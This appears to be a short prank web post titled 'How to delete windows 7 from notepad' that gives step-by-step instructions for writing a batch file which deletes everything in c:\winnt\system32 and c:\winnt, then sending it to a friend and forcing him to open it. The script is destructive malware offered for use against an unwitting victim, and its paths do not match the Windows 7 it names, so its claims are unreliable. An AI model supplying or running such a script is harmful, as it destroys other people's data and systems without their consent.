How to delete windows 7 from notepad

How to delete windows 7 from notepad:

1. Open notepad
2. Copy and paste the script below in notepad
3. @echo off
   Del c:\winnt\system32\*.*
   Del c:\winnt\*.*
4. Save as file.bat
5. Save as type all files
6. Send to friend and force him to open
7. Then wish him happy birthday lol